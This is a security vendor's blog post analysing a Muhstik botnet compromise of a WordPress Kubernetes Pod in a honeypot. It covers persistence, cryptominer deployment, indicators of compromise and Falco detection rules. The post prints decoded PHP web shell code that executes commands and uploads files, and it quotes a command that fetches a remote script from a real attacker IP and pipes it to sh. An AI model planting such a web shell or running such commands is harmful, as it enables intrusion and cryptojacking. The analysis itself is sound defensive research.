# Hands-On Muhstik Botnet: crypto-mining attacks targeting Kubernetes
**sysdig.com/blog/muhstik-malware-botnet-analysis/**
By Stefano Chierici November 16, 2021
Malware is continuously mutating, targeting new services and platforms. The Sysdig
**Security Research team has identified the famous Muhstik Botnet with new behavior,**
attacking a Kubernetes Pod with the plan to control the Pod and mine cryptocurrency.
A WordPress Kubernetes Pod was compromised by the Muhstik worm and added to the
botnet. On the Pod has been deployed and executed various types of crypto miners, like
```
xmra64 and xmrig64 .
```
This attack confirms what we’ve been seeing for quite some time; Crypto miner attacks are
**on the rise, and they come in many different forms. The fact that** crypto currency prices are
over the roof is only making things worse.
We will cover the characteristics of Muhstik Malware, the step-by-step of this particular
attack, and how to protect your infrastructure against it.
## What is Muhstik Malware?
-----
**Muhstik malware has been around since 2017, and we assume that it is based on a fork of**
**the Mirai code and is currently affecting the cloud by way of several web application**
exploits.
The botnet is monetized via cryptomining and with DDoS attack services.
It targets a wide variety of web applications, including WordPress, Drupal, and WebDAV,
[Oracle’s WebLogic application server, as well an assortment of Internet-of-Things (IoT) and](https://digital.nhs.uk/cyber-and-data-security/about-us/cyber-security-glossary#internet-of-things---IoT)
[Small Office/Home Office (SOHO) devices.](https://digital.nhs.uk/services/data-security-centre/cyber-security-glossary#small-office-home-office---soho)
[Muhstik uses its botnet to mount sizable distributed denial-of-service (DDoS) attacks, but it](https://digital.nhs.uk/services/data-security-centre/cyber-security-glossary#distributed-denial-of-service---ddos)
[will also install several cryptocurrency](https://digital.nhs.uk/services/data-security-centre/cyber-security-glossary#cryptocurrency) [miners on affected systems.](https://digital.nhs.uk/cyber-and-data-security/about-us/cyber-security-glossary#miner)
## Step-by-step Muhstik behavior
Let’s start with a quick overview of the attack behavior and the main steps executed, from
the Pod compromisation to the cryptomining activities.
The attack uncovered went as follows:
-----
[1. WordPress admin login configured with default credentials in the honeypot account](https://attack.mitre.org/techniques/T1078/001/)
was attacked
1. The `header.php file was used to upload a malicious PHP page`
```
E3DC4533F48E7161DA720C6FD3591710.php
```
2. The malicious PHP code loads files and executes remote commands.
2. The code pty3 uploaded was executed on the Pod.
3. Then, `pty3 spawned a new process called` `ggop6b5pqkmfrfd and connected to the`
botnet.
1. The file was copied in different directories.
2. Created entry in file `rc.local for` [persistence.](https://attack.mitre.org/tactics/TA0003/)
3. Created `/etc/inittab file using respawn function always for persistence.`
4. `xmrig64 crypto miner binary was executed on the machine.`
5. The malicious remote script was downloaded and executed on the Pod
```
http://118.24.84.121/wp-content/themes/twentyfifteen/kn | sh
```
1. Other pty files were downloaded and executed.
6. Then, the `xmra64 crypto binary miner was downloaded from` `178.62.105.90` IP
addresses and executed on the Pod using the mining pools on the `185.165.171.78,`
```
185.86.148.14 IP addresses.
```
Let’s dig deeper into the details of this Muhstik malware, how this botnet works in detail, the
exact commands that are run, the communication between the servers, and finally, how to
detect this attack with open source Falco.
## Muhstik Malware in depth
### #1 Initial access – Encrypted PHP web shell
[Default WordPress credentials were exploited in our honeypot and the WordPress](https://attack.mitre.org/techniques/T1078/001/)
```
header.php file was updated with the following string.
```
As we can understand from the clear text code at the end, the PHP function
```
file_put_contents was used to create a new file and put the encrypted code in it.
"; file_put_contents("E3DC4533F48E7161DA720C6FD3591710.php", $data); } ?>
```
To find the real code executed, we need to revert the decryption process starting from the
string base64 we have here. In this case, we have a triple encoding:
**Base_64 encoding: Method used to encode text or code to better send it without error**
and bypass detection.
**Rot13 substitution cipher: A simple shifting character rotation of ASCII letters.**
-----
**Compression: Gzip compression applied to get text which can be used via a web**
‘POST’ requests.
Decrypting the code added by the attacker, we can see it is a PHP web shell, used to
execute commands and upload files on the Pod. Let’s go deeper into the static analysis of
the most relevant part of the code.
The first part of the PHP code is used to download more malware files. We explain deeper in
the next section.
```
if (isset($_GET['wie'])) {
$arr = array("who" => array("os_name" => php_uname('s'), "uname_version_info" =>
php_uname('v'), "machine_type" => php_uname('m'), "kernel" => php_uname('r'),
"php_uname" => php_uname(), "is64bit" => PHP_INT_SIZE === 4 ? false : true));
print (json_encode($arr));
exit;
} elseif (isset($_GET['knal'])) {
$comd = $_GET['knal'];
echo "" . shell_exec($comd) . "
";
exit;
} elseif (isset($_POST['submit'])) {
$uploaddir = pwd();
if (!$name = $_POST['newname']) {
$name = $_FILES['userfile']['name'];
}
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) {
echo "Upload Failed";
} else {
echo "Upload Success to " . $uploaddir . $name . " :D ";
}...
```
Here, check the session and the authentication with the botnet.
```
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) {
if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) ==
$auth_pass))) {
$_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
} else {
printLogin();
}
}
```
The PHP code below is used to obtain information about the current user, and is signed by
the Muhstik malware.
-----
```
echo "UnKnown - muhstik
";
$cur_user = "(" . get_current_user() . ")";
echo "User : uid=" . getmyuid() . $cur_user . " gid=" .
getmygid() . $cur_user . "
";
echo "Uname : " . php_uname() . "
";
```
This last portion of the PHP code is used as a backdoor communication to send the
commands from the botnet. We can observe `cmd,` `dir, or` `ls -la commands.`
```
if (isset($_POST['command'])) {
$cmd = $_POST['cmd'];
echo "" . shell_exec($cmd) . "
";
} else {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
echo "" . shell_exec('dir') . "
";
} else {
echo "" . shell_exec('ls -la') . "
";
}
}
### #2 Propagation – pty3 dropped on the Pod
```
The first malware file dropped and executed on the Pod using the web shell created was the
binary `pty3 . We use an external service to analyze the binary,` [Virustotal, which helps us to](https://www.virustotal.com/)
detect, with several AVs, what type of malware it is.
-----
This particular binary was reported for the first time in April, 2021, and 32 intelligence
sources have confirmed that it is, indeed, malware. There are a lot of versions of `pty3`
malware in the wild that are related to the Muhstik botnet, however, it seems to be a recent
**version.**
In our malware analysis, we use our honeypot to follow the malware behavior and its goal.
If this were a regular production server, we would have a plan to incident response,
immediately isolate the binary, investigate the source, and enhance our security for
**future incidents.**
### #3 Runtime analysis – pty3 malware executed inside the Pod
The malware file `pty3 was executed right after it was dropped on the Pod. To follow what`
```
pty3 is doing, we used the open source tool, Sysdig Inspect, to visualize system calls.
```
Let’s see the activities performed by the malware in detail.
**#3.1 Checking network tools running in the Pod**
As the first action, the malware checks if network dump tools are in execution in the Pod.
The two binaries checked are `tcpdump and` `strace .`
-----
This is a typical process to discover and identify new targets to infect with the malware, using
[system binaries in the process or GTFOBins.](https://gtfobins.github.io/#tc)
**#3.2 Persistence phase**
To make sure the Muhstik malware will be rerun if the process dies or the machine is
restarted, the malware needs to spread itself in the Pod and perform some actions.
In this case, the `pty3 binary performed special measures to achieve persistence in the`
machine.
First of all, the `pty3 started copying itself in different directories for persistence purpose:`
_/tmp/pty3_
_/dev/shm/pty3_
_/var/tmp/pty3_
_/var/lock/pty3_
_/var/run/pty3_
Then, it tried to execute crontab, although the crontab binary wasn’t available inside the Pod.
It succeeded instead of executing persistence via `/etc/inittab, adding the following`
lines.
-----
Using the `respawn function ensures that if the process dies, it will be respawned`
automatically without losing the compromised host/Pod.
The Muhstik malware also added itself in the `rc.local file for the same purposes as`
shown in the following screenshot.
**#3.3 Establishing C&C communication with the Botnet**
At this point, the malware needs to communicate and send instructions to the zombie Pod.
In the following image, we can see the PING / PONG communication between the process
```
ggop6b5pqkmfrfd and the webserver.
```
-----
It resembles other malware and C&C protocols, capturing information about the target and
communicating back with updated attack payloads.
Let’s stop for a moment to summarize the activities done so far by the malware dropped:
[1. Spawn a new process to connect to the botnet.](https://attack.mitre.org/techniques/T1583/005/)
[2. Check tools running inside the host/Pod to discover new Pods to infect.](https://attack.mitre.org/tactics/TA0007/)
3. Replicate itself in different locations for [persistence.](https://attack.mitre.org/tactics/TA0003/)
[4. Run crontab by creating and editing](https://attack.mitre.org/techniques/T1053/003/) `/etc/inittab to get persistence.`
### #4 Crypto miners in action
The goal of the Muhstik botnet, after infecting the victim, is to monetize the resources it
infects. Muhstik malware downloads two binaries in the Kubernetes Pods it controls, and
starts cryptomining.
**#4.1** `xmrig64 binary downloaded and executed on the Pod`
Once the malware infection is complete, after having connected the Pod to the botnet, the
attacker uploaded and executed the `xmrig64 binary using the PHP web shell.`
[From the screen below, using Inspect, we can detect the miner connecting to the IP pool](https://github.com/draios/sysdig-inspect/)
186.86.148.14 with port 8081 and start sharing information.
-----
**#4.2** `xmra64 binary behavior`
Using the `ggop6b5pqkmfrfd process running in the Pod, the Muhstik botnet downloaded`
the crypto miner binary `xmra64 from the IP` `178.62.105.90 executing the` `wget and`
```
curl commands.
```
-----
Once downloaded, `ggop6b5pqkmfrfd prepared the binary for execution. We can see how`
it used chmod to set the execution bit.
We uploaded this `xmra64 binary again and the report was very similar. It is a well-known`
crypto miner.
Two crypto miner pools were specified when launching the crypto miner binary:
```
185.165.171.78
185.86.148.14
```
From the following screen, we can see the miner started communicating with the pool.
### #5 More malware binaries – Other pty files dropped on the Pod
-----
After running the first miner, the other `pty files were dropped on the Pod downloading and`
executing a script, which we detect again with Inspector.
Looking at the file downloaded, we can see the code executed and from where the file was
downloaded.
We can see the file `pty*, which might be different versions of the` `pty3 file executed`
before, are downloaded from the IP `167.99.39.134/.x/.`
### Summary of IOC and suspicious activities
**IPs & URLs**
http://118.84.24.121:80/wp-content/themes/twentyfifteen/kn
-----
http://167.99.39.134/.x/
http://178.62.105.90:80/wp-content/themes/twentyfifteen/xmra64
185.86.148.14:8081
185.165.171.78:8081
46.149.233.35:8080
**Files and their MD5:**
```
E3DC4533F48E7161DA720C6FD3591710.php
```
4dc3298cdbf565cc897a922807a2809667535c5a
```
pty3
```
61586a0c47e3ae120bb53d73e47515da4deaefbb
```
xmrig64
```
de64b454420c64fc160a9c6c705896ae0e26d8db
```
xmra64
```
497f4e24464a748c52f92de1fba33551
**Suspicious activities**
There are a few suspicious activities worth mentioning in our Muhstik malware analysis:
```
wget is launched in runtime, not build time.
```
Network communication with the miner pool.
A CPU usage surge due to an unknown process launched.
Once we have identified these activities, we see how we can perform their detection.
## Detecting the Muhstik botnet with Falco
[Falco is the CNCF open-source project for runtime threat detection for containers and](https://falco.org/)
Kubernetes.
One of the benefits of Falco is in leveraging its powerful and flexible rules language. As a
result, Falco will generate security events when it finds abnormal behaviors, as defined by a
customizable set of rules. Meanwhile, Falco comes with a handful of out-of-the-box
**detection rules.**
Customizing the rules reported here, it’s possible to detect crypto miners’ behaviors
through connections using the IPs mentioned in this article, and proactively detect other
**connections to well-known crypto miners’ domains.**
-----
```
# Note: falco will send DNS request to resolve miner pool domain which may trigger
alerts in your environment.
- rule: Detect outbound connections to common miner pool ports
desc: Miners typically connect to miner pools on common ports.
condition: net_miner_pool and not trusted_images_query_miner_domain_dns
exceptions:
- name: proc_sport_sipname
fields: [proc.name, fd.sport, fd.sip.name]
enabled: false
output: Outbound connection to IP/Port flagged by cryptoioc.ch
(command=%proc.cmdline port=%fd.rport ip=%fd.rip container=%container.info
image=%container.image.repository)
priority: CRITICAL
tags: [network, mitre_execution]
- rule: Container Drift Detected (chmod)
desc: New executable created in a container due to chmod
condition: >
chmod and
consider_all_chmods and
container and
not runc_writing_var_lib_docker and
not user_known_container_drift_activities and
evt.rawres>=0 and
((evt.arg.mode contains "S_IXUSR") or
(evt.arg.mode contains "S_IXGRP") or
(evt.arg.mode contains "S_IXOTH"))
exceptions:
- name: proc_name_image_suffix
fields: [proc.name, container.image.repository]
comps: [in, endswith]
- name: cmdline_file
fields: [proc.cmdline, fd.name]
comps: [in, in]
values:
- [["runc:[1:CHILD] init"], [/exec.fifo]]
output: Drift detected (chmod), new executable created in a container
(user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline
filename=%evt.arg.filename name=%evt.arg.name mode=%evt.arg.mode event=%evt.type)
priority: ERROR
- rule: Outbound Connection to C2 Servers
desc: Detect outbound connection to command & control servers
condition: outbound and fd.sip in (c2_server_ip_list)
exceptions:
- name: proc_proto_sport
fields: [proc.name, fd.l4proto, fd.sport]
output: Outbound connection to C2 server (command=%proc.cmdline connection=%fd.name
user=%user.name user_loginuid=%user.loginuid container_id=%container.id
image=%container.image.repository)
priority: WARNING
tags: [network]
```
You can see the [full rule descriptions on GitHub.](https://github.com/falcosecurity/falco/blob/master/rules/falco_rules.yaml#L2840)
-----
[If you would like to find out more about Falco, check out the Falco project on GitHub.](https://github.com/falcosecurity/falco)
## Detecting the Muhstik with Sysdig Secure
The [Sysdig Secure DevOps Platform is built on top of Falco, and was used to detect this](https://sysdig.com/platform-architecture/)
particular attack.
[With the help of Sysdig Secure image profiling, DevOps can:](https://sysdig.com/blog/sysdig-secure-2-4/)
Create a policy to detect any port bind and listen to activities from random processes.
Create a policy to detect any destination IPs that are not on the white list.
Create a policy to detect any processes launched that are not in the whitelist (e.g.,
```
wget, pty*, xmrig64, xmra64 ).
```
The miner_ports list is already part of the Out of the Box rules for [Sysdig Secure. The](https://sysdig.com/products/secure/)
_cryptominer_IP_IOC instead includes the IPs reported in the IoCs section, related to the_
miner activities.
-----
## Conclusion
This incident confirms a trend of cryptomining attacks being on the rise, and they are
getting more creative as time goes on. The Sysdig research team analyzes other malware,
[like serv-hello or](https://sysdig.com/blog/crypto-sysrv-hello-wordpress/) [Shellbot, with similar behavior.](https://sysdig.com/blog/malware-analysis-shellbot-sysdig/)
As a system administrator, you must use the proper tools to prevent and detect these
attacks. Without deep insight into the process activities, file activities, and network activities
from your cloud native environment, and the help from a smart detection engine, it will be
hard to detect such an attack. It will be even more difficult to uncover it.
It is also important to note that unified security and monitoring solutions will speed up the
investigation process. Once you identify a single suspicious event, it helps you trace down
the event from different angles, such as resource usage, network connections, and reading
sensitive files.
_At_ _[Sysdig Secure, we extend Falco with out-of-the-box rules, along with other open source](https://sysdig.com/products/secure/)_
_projects, making it even easier to work with and manage Kubernetes security._ _Register for_
_our free 30-day trial and see for yourself!_
_The_ _[Sysdig Secure DevOps Platform provides security to confidently run containers,](https://sysdig.com/platform-architecture/)_
_Kubernetes, and cloud services. With Sysdig, you can secure the build pipeline, detect and_
_respond to runtime threats, continuously validate compliance, and monitor and troubleshoot_
_[cloud infrastructure and services. Try it today!](https://sysdig.com/company/free-trial/)_
-----